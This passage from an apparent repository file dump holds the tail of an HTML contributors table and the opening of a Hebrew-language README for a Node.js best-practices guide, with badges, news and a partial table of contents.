title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://vincentjonathan.com\"><img src=\"https://avatars.githubusercontent.com/u/32597776?v=4\" width=\"100px;\" alt=\"Owl\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Owl</b></sub></a><br /><a href=\"#content-SuspiciousLookingOwl\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/yedidyas\"><img src=\"https://avatars.githubusercontent.com/u/36074789?v=4\" width=\"100px;\" alt=\"Yedidya Schwartz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yedidya Schwartz</b></sub></a><br /><a href=\"#content-yedidyas\" title=\"Content\">🖋</a> <a href=\"#example-yedidyas\" title=\"Examples\">💡</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ariel-diaz\"><img src=\"https://avatars.githubusercontent.com/u/20423540?v=4\" width=\"100px;\" alt=\"ari\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ari</b></sub></a><br /><a href=\"#content-ariel-diaz\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.koenigthomas.de/\"><img src=\"https://avatars.githubusercontent.com/u/7080389?v=4\" width=\"100px;\" alt=\"Thomas König\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thomas König</b></sub></a><br /><a href=\"#content-Vispercept\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/coocos\"><img src=\"https://avatars.githubusercontent.com/u/1397804?v=4\" width=\"100px;\" alt=\"Kalle Lämsä\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kalle Lämsä</b></sub></a><br /><a href=\"#content-coocos\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://math.cat\"><img src=\"https://avatars.githubusercontent.com/u/10328430?v=4\" width=\"100px;\" alt=\"Wyatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Wyatt</b></sub></a><br /><a href=\"#content-ZhyMC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://libkhadir.fr\"><img src=\"https://avatars.githubusercontent.com/u/45130488?v=4\" width=\"100px;\" alt=\"KHADIR Tayeb\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>KHADIR Tayeb</b></sub></a><br /><a href=\"#content-tkhadir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shankarregmi\"><img src=\"https://avatars.githubusercontent.com/u/7703345?v=4\" width=\"100px;\" alt=\"Shankar Regmi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shankar Regmi</b></sub></a><br /><a href=\"#content-shankarregmi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/codebyshubham\"><img src=\"https://avatars.githubusercontent.com/u/10389723?v=4\" width=\"100px;\" alt=\"Shubham\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shubham</b></sub></a><br /><a href=\"#content-codebyshubham\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://lucalves.me/\"><img src=\"https://avatars.githubusercontent.com/u/17712401?v=4\" width=\"100px;\" alt=\"Lucas Alves\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Alves</b></sub></a><br /><a href=\"#content-lucalves\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/benjaminudoh10\"><img src=\"https://avatars.githubusercontent.com/u/9018331?v=4\" width=\"100px;\" alt=\"Benjamin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin</b></sub></a><br /><a href=\"#content-benjaminudoh10\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yjoer.com\"><img src=\"https://avatars.githubusercontent.com/u/47742486?v=4\" width=\"100px;\" alt=\"Yeoh Joer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yeoh Joer</b></sub></a><br /><a href=\"#content-yjoer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blog.miigon.net\"><img src=\"https://avatars.githubusercontent.com/u/16161991?v=4\" width=\"100px;\" alt=\"Miigon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Miigon</b></sub></a><br /><a href=\"#content-Miigon\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://brainstorage.me/Egregor2011\"><img src=\"https://avatars.githubusercontent.com/u/3630318?v=4\" width=\"100px;\" alt=\"Rostislav Bogorad\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rostislav Bogorad</b></sub></a><br /><a href=\"#content-Egregor2011\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Flouse\"><img src=\"https://avatars.githubusercontent.com/u/1297478?v=4\" width=\"100px;\" alt=\"Flouse\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Flouse</b></sub></a><br /><a href=\"#content-Flouse\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://taranttini.com\"><img src=\"https://avatars.githubusercontent.com/u/6922125?v=4\" width=\"100px;\" alt=\"Tarantini Pereira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tarantini Pereira</b></sub></a><br /><a href=\"#content-taranttini\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kzmat\"><img src=\"https://avatars.githubusercontent.com/u/34614358?v=4\" width=\"100px;\" alt=\"Kazuki Matsuo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kazuki Matsuo</b></sub></a><br /><a href=\"#content-kzmat\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/burkybang\"><img src=\"https://avatars.githubusercontent.com/u/927886?v=4\" width=\"100px;\" alt=\"Adam Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Adam Smith</b></sub></a><br /><a href=\"#content-burkybang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://codekodo.tistory.com\"><img src=\"https://avatars.githubusercontent.com/u/33795856?v=4\" width=\"100px;\" alt=\"Dohyeon Ko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dohyeon Ko</b></sub></a><br /><a href=\"#content-k906506\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vlad99902\"><img src=\"https://avatars.githubusercontent.com/u/67615003?v=4\" width=\"100px;\" alt=\"Vladislav Legkov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vladislav Legkov</b></sub></a><br /><a href=\"#content-vlad99902\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kerolloz.github.io\"><img src=\"https://avatars.githubusercontent.com/u/36763164?v=4\" width=\"100px;\" alt=\"Kerollos Magdy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kerollos Magdy</b></sub></a><br /><a href=\"#content-kerolloz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/erez-lieberman-b90b7219/\"><img src=\"https://avatars.githubusercontent.com/u/3277260?v=4\" width=\"100px;\" alt=\"Erez Lieberman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Erez Lieberman</b></sub></a><br /><a href=\"#content-erezLieberman\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/\"><img src=\"https://avatars.githubusercontent.com/u/48841329?v=4\" width=\"100px;\" alt=\"Breno Macedo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Breno Macedo</b></sub></a><br /><a href=\"#content-breno404\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/JFernando122\"><img src=\"https://avatars.githubusercontent.com/u/40414805?v=4\" width=\"100px;\" alt=\"Fernando Flores\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fernando Flores</b></sub></a><br /><a href=\"#translation-JFernando122\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/rafaelconcept/\"><img src=\"https://avatars.githubusercontent.com/u/43880669?v=4\" width=\"100px;\" alt=\"Rafael Brito\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rafael Brito</b></sub></a><br /><a href=\"#translation-rafaelconcept\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://emiliano-peralta-portfolio.vercel.app/\"><img src=\"https://avatars.githubusercontent.com/u/63617637?v=4\" width=\"100px;\" alt=\"Emiliano Peralta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Emiliano Peralta</b></sub></a><br /><a href=\"#translation-emiperalta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lannex.github.io\"><img src=\"https://avatars.githubusercontent.com/u/7369541?v=4\" width=\"100px;\" alt=\"Shin, SJ\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shin, SJ</b></sub></a><br /><a href=\"#content-lannex\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.benjaminforster.com\"><img src=\"https://avatars.githubusercontent.com/u/12589522?v=4\" width=\"100px;\" alt=\"Benjamin Forster\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Forster</b></sub></a><br /><a href=\"#content-e-e-e\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DanieleFedeli\"><img src=\"https://avatars.githubusercontent.com/u/37077048?v=4\" width=\"100px;\" alt=\"Daniele Fedeli\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniele Fedeli</b></sub></a><br /><a href=\"#content-DanieleFedeli\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/djob195\"><img src=\"https://avatars.githubusercontent.com/u/17146669?v=4\" width=\"100px;\" alt=\"djob195\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>djob195</b></sub></a><br /><a href=\"#content-djob195\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/antspk\"><img src=\"https://avatars.githubusercontent.com/u/78955792?v=4\" width=\"100px;\" alt=\"antspk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>antspk</b></sub></a><br /><a href=\"#content-antspk\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n"
  },
  {
    "path": "README.hebrew.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\r\n\r\n# שיטות עבודה מומלצות ב Node.js\r\n\r\n<h1 align=\"center\">\r\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\"/>\r\n</h1>\r\n\r\n<br/>\r\n\r\n<div align=\"center\">\r\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%20102%20Best%20Practices-blue.svg\" alt=\"102 items\"/> <img id=\"last-update-badge\" src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20August%2016%2C%202023-green.svg\" alt=\"Last update: August 16, 2023\" /> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2014.0.0-brightgreen.svg\" alt=\"Updated for Node 14.0.0\"/>\r\n</div>\r\n\r\n<br/>\r\n\r\n[<img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\" alt=\"\" />](https://twitter.com/nodepractices/) **עיקבו אחרינו בטוויטר!** [**@nodepractices**](https://twitter.com/nodepractices/)\r\n<br/>\r\n**:writing_hand:\tתורגם על ידי [הוד בואר](https://github.com/hodbauer)**\r\n<br/>\r\n\r\nלקריאה בשפות נוספות: [![CN](./assets/flags/CN.png)**סינית**](./README.chinese.md), [![FR](./assets/flags/FR.png)**צרפתית**](./README.french.md), [![BR](./assets/flags/BR.png)**פורטוגזית**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**רוסית**](./README.russian.md), [![PL](./assets/flags/PL.png)**פולנית**](./README.polish.md), [![JA](./assets/flags/JA.png)**יפנית**](./README.japanese.md), [![EU](./assets/flags/EU.png)**באסקית**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ספרדית**, ![HE](./assets/flags/HE.png)**עברית**, ![KR](./assets/flags/KR.png)**קוריאנית** ו ![TR](./assets/flags/TR.png)**טורקית** בתהליך! )](#translations)\r\n\r\n<br/>\r\n\r\n# Latest Best Practices and News\r\n\r\n- **🛰 2023 edition is released soon**: We're now writing the next edition, stay tuned?\r\n\r\n- **✨ 89,000 stars**: Blushing, surprised and proud!\r\n\r\n- **🔖 New menu and tags**: Our menu is collapsible now and includes `#tags`. New visitors can read `#strategic` items first. Returning visitors can focus on `#new` content. Seniors can filter for `#advanced` items. Courtesy of the one and only [Rubek Joshi](https://github.com/rubek-joshi)\r\n\r\n- **![FR](./assets/flags/FR.png) French translation!1! :** The latest translation that joins our international guide is French. Bienvenue\r\n\r\n<br/><br/>\r\n\r\n# ברוכים הבאים! שלושה דברים שכדאי לדעת לפני שגוללים מטה\r\n\r\n**1. הנכם קוראים עשרות מאמרים של שיטות העבודה המומלצות ב Node.js -** המאגר הזה הוא סיכום לא יסולא בפז של שיטות העבודה המומלצות ב Node.js , כמו כן הוא נעשה על בשיתוף פעולה.\r\n\r\n**2. זהו האוסף הגדול ביותר, והוא ממשיך לגדול כל שבוע -** נכון לרגע זה, יש למעלה מ 100 שיטות עבודה מומלצות, המלצות ארכיטקטורה והמלצות סגנון כתיבה. נושאים חדשים ובקשות חדשות (PR's) מתווספים כל יום במטרה לשמור את התוכן מעודכן. אנחנו נשמח לראותכם תורמים לפה, בין אם לתקן שגיאות קוד, עזרה בתרגום, או להציע רעיונות מבריקים חדשים. ראו את [המדריך לכתיבת הנחיות](./.operations/writing-guidelines.md).\r\n\r\n**3. שיטות העבודה כוללות מידע נוסף -**  רוב הנקודות כוללות קישור **🔗לקריאה נוספת** שמרחיב על ידי דוגמאות קוד, ציטוטים מבלוגים נבחרים ומידע נוסף.\r\n\r\n<br/><br/>\r\n\r\n# מאת יוני גולדברג\r\n\r\n### לימדו איתי: כיועץ, אני נפגש עם קבוצות מכל העולם במגוון פעולות כמו סדנאות ומעבר על קוד. 🎉 לאחרונה פרסמתי את [הקורס המתקדם לכתיבת בדיקות](https://testjavascript.com/)\r\n\r\n<br/><br/>\r\n## תוכן העניינים\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#1-project-architecture-practices\">1. מבנה הפרוייקט (6)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[1.1 בנו את הפרוייקט לפי רכיבים עסקיים `#strategic` `#updated`](#-11-structure-your-solution-by-business-components)</br>\r\n&emsp;&emsp;[1.2 חלוקת הרכיבים ל3 שכבות, שמירה על שכבת הווב בגבולותיה `#strategic` `#updated`](#-12-layer-your-components-with-3-tiers-keep-the-web-layer-within-its-boundaries)</br>\r\n&emsp;&emsp;[1.3 עטפו כלים משותפים בחבילות, שקלו את הפצתם](#-13-wrap-common-utilities-as-packages-consider-publishing)</br>\r\n&emsp;&emsp;[1.4 השתמשו בקונפיגורציה עם משתני סביבה באופן מודע, מאובטח והיררכי `#updated`](#-14-use-environment-aware-secure-and-hierarchical-config)</br>\r\n&emsp;&emsp;[1.5 שקלו את כל ההשלכות בעת בחירת מסגרת `#new`](#-15-consider-all-the-consequences-when-choosing-the-main-framework)</br>\r\n&emsp;&emsp;[1.6 השתמשו ב-TypeScript במידתיות ובצורה מושכלת `#new`](#-16-use-typescript-sparingly-and-thoughtfully)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#2-error-handling-practices\">2. ניהול שגיאות (12)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[2.1 השתמשו ב Async-Await או הבטחות לניהול שגיאות אסינכרוניות](#-21-use-async-await-or-promises-for-async-error-handling)</br>\r\n&emsp;&emsp;[2.2 הרחיבו את מבנה אוביקט השגיאה המובנה Error `#strategic` `#updated`](#-22-extend-the-built-in-error-object)</br>\r\n&emsp;&emsp;[2.3 הבחינו בין שגיאות קטסטרופליות לבין שגיאות תפעוליות `#strategic` `#updated`](#-23-distinguish-catastrophic-errors-from-operational-errors)</br>\r\n&emsp;&emsp;[2.4 נהלו את השגיאות במרוכז ולא באמצעות כלי ביניים `#strategic`](#-24-handle-errors-centrally-not-within-a-middleware)</br>\r\n&emsp;&emsp;[2.5 תעדו את שגיאות ה-API באמצעות OpenAPI או GraphQL](#-25-document-api-errors-using-openapi-or-graphql)</br>\r\n&emsp;&emsp;[2.6 הורידו את התהליך בצורה מסודרת כאשר זר בא לבקר `#strategic`](#-26-exit-the-process-gracefully-when-a-stranger-comes-to-town)</br>\r\n&emsp;&emsp;[2.7 השתמשו ב-Logger מוכר ואמין כדי להגדיל את הקְרִיאוּת של השגיאות `#updated`](#-27-use-a-mature-logger-to-increase-errors-visibility)</br>\r\n&emsp;&emsp;[2.8 בידקו את תגובת המערכת לשגיאות על ידי שימוש בכלי הבדיקות האהוב עליכם `#updated`](#-28-test-error-flows-using-your-favorite-test-framework)</br>\r\n&emsp;&emsp;[2.9 גלו שגיאות וזמני השבתה על ידי שימוש בכלי APM](#-29-discover-errors-and-downtime-using-apm-products)</br>\r\n&emsp;&emsp;[2.10 תפסו מקרים לא מטופלים של דחיות של הבטחות `#updated`](#-210-catch-unhandled-promise-rejections)</br>\r\n&emsp;&emsp;[2.11 היכשלו מהר, ודאו את משתני הקלט באמצעות ספריה יעודית](#-211-fail-fast-validate-arguments-using-a-dedicated-library)</br>\r\n&emsp;&emsp;[2.12 תמיד המתינו לתשובה מההבטחות לפני שאתם מעבירים את התשובה הלאה כדי להימנע ממעקב חלקי `#new`](#-212-always-await-promises-before-returning-to-avoid-a-partial-stacktrace)</br>\r\n\r\n</details>\r\n\r\n<details>\r\n  <summary>\r\n    <a href=\"#3-code-patterns-and-style-practices\">3. תבניות קוד וסגנון עיצוב (13)</a>\r\n  </summary>\r\n\r\n&emsp;&emsp;[3.1 השתמשו ב-ESLint `#strategic`](#-31-use-eslint)</br>\r\n&emsp;&emsp;[3.2 השתמשו בתוספים של Node.js שמרחיבים את ESLint `#updated`](#-32-use-nodejs-eslint-extension-plugins)</br>\r\n&emsp;&emsp;[3.3 התחילו בלוק של קוד עם סוגריים מסולסלים באותה השורה](#-33-start-a-codeblocks-curly-braces-on-the-same-line)</br>\r\n&emsp;&emsp;[3.4 הפרידו בין ההצהרות השונות בצורה תקנית](#-34-separate-your-statements-properly)</br>\r\n&emsp;&emsp;[3.5 תנו לפונקציה 